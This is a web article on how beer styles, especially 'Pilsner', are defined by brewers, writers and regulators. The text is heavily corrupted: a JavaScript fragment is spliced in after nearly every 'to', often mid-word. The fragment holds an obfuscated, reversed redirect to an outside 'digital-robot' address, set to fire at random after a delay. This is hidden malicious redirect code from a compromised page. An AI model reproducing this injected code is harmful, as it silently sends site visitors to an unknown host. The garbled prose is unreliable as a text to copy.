When is a Pilsner not a Pilsener?

The Color Of BeerBeers throughout the world are typically marketed tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to consumers using well-recognized brand names which require considerable investment tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to build and maintain. Names such as Budweiser, Brahma, Carling, Coors, Fosters, Heineken, Kirin, Molson, Skol and Stella Artobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tois have become very well known internationally through investment of hundreds of billions of marketing dollars over many decades.

Secondary tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to this branding message, brewers attempt tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to increase a product’s appeal tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to consumers by affiliating it with one of many specific beer styles. Examples include ‘Amber Ale’, ‘Dry Beer’, ‘Irish Stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout’, ‘Pale Ale’, and ‘Pilsener’. It is difficult, and many would argue impossible, tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get consensus on the characteristics of each of these beer styles. Some organizations – for example, those established by home brewers with no commercial interests, have attempted tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to define such beer styles in terms of chemical and physical properties such as original extract, alcohol strength or colour. Others have attempted tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to define the styles by the ingredients used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make them, or the processes used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to convert those raw materials intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to beer.

Many beer writers find the ‘beer style’ a convenient device for categorizing products. However, it’s easy tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to see that there are often many points of disagreement among well-respected beer authors on the key aspects of many beer styles. To an extent this is understandable. Beer styles are not static relics of the past. They are evolving, living entities, shaped year on year by consumer trends and innovative brewers.

For example, traditional European pale lager beer is made using only malted barley, hops, yeast and water. As a result it is a flavoursome, full-bodied type of beer. More than 120 years ago brewers in many parts of the world, including North America, Asia, Africa and Latin America discovered that by substituting a portion of the malted barley for so-called ‘adjuncts’ (such as maize, rice or sugar) a lighter, more refreshing beer could be produced. Ideal for hotter, more arid climates. Today, it is this type of ‘new world’ lager that dominates the international beer landscape. Nevertheless, the original all-malt, full-bodied version of the beer continues tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be made in Europe and elsewhere – or something close tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to it at least. The original type of malt used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make pale lager beers was kilned with coke, which released arsenic intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the malt and the beer made from it. Thankfully, that’s no longer done.

These old and new styles of Pilsner beer – all malt, or made with adjuncts – sit side by side in the marketplace, linked by a common style name. Variants of each type have evolved and become established tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to different degrees in different markets. For example, when first introduced ‘new world lagers’ had bitterness levels which were comparable tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to those of their ‘old world’ counterparts. Today, the levels of bitter substances in ‘new world lagers’ are much lower, a trend which has been driven by consumer preferences and the brewers’ ability tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to respond tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to those preferences.

In addition tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to brand and style, government organizations often require additional product categorization, providing for designations such as ‘light beer’, ‘low alcohol beer’, ‘non-alcoholic beer’, ‘export beer’ etc. These categories tend tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to differ from one country tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to another. Beer categorized as ‘non-alcoholic’ in one country may be categorized as ‘low alcohol’ in another. The need for such categories is primarily driven by fiscal requirements – a way of demarcating beer in one tax category from another is needed, with sufficient constraints included tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to limit the risk of new products falling outside of the tax categories which have been set, such as happened in Japan in the 1980s and in East Africa in the 1990s.

Occasionally, governments or alliances of governments have provided protection for specific beer designations. For example, the hybrid brand and style name ‘Newcastle Brown Ale’ can be used only for beer brewed tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to certain specifications within a defined distance from the City of Newcastle in England. Allocation of provenance tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to beers in this way is exceptional and there are very few examples.

The specific case of ‘Pilsener beer’

‘Pilsener beer’ – sometimes referred tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to as ‘Pilsen’, ‘Pils’ or other variations, originated as a style in the Czech tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town of Pilsen in 1842. This new type of ‘pale lager beer’ become very popular and soon came tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dominate the beer market in that location. Brewers from outside the region adopted the style tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to different degrees, but the style name proved very popular and has been used by thousands of breweries all over the world for more than a Century and a half.

Today, if one were tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to compare the characteristics of a Pilsner beer native tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Pilsen – for example, Pilsner Urquell – with those of a ‘Pilsner’ from other countries in many cases very little in common would be found.

  • Pilseners from the Czech Republic are very bitter – most Pilseners from other countries are not.
  • Pilseners from the Czech Republic are not very high in alcoholic strength – Pilseners from other countries can be weaker or stronger.
  • Pilseners from the Czech Republic are quite dark in colour – Pilseners from other countries can be lighter or darker, depending on the choice of the brewer.
  • Pilseners from the Czech Republic often have distinctive flavour characteristics which arise both from the choice of ingredients and the recipe – such flavours are not well regarded by consumers in all markets so Pilseners made for other markets are often made in a different way and from different ingredients tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to suit the palate of local consumers. A particular case in point is diacetyl – an essential flavour in a traditional Pilsener, studiously avoided in many New World versions of the style.
  • The original extract of Pilseners in the Czech Republic exceeds 11 degrees Platobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to. However, in many markets outside of the Czech Republic original extract values which are lower than this are found. This arises from the fact that brewers have tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sometimes satisfy conflicting constraints concerning the categorization of the product for tax and excise purposes and the stylistic categorization of the product.

The nature of ‘true’ Pilsners produced in the Czech Republic is protected by European statute.

However these constraints do not apply tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ‘Pilsner’-style beers produced elsewhere, custobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomized for local markets and tastes. In such cases the boundaries of the style lie in the hands of the professional brewing community and its custobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomers – as it should.

When is a Pilsner not a Pilsener (or Pilsner)? Whenever and whereever you like.

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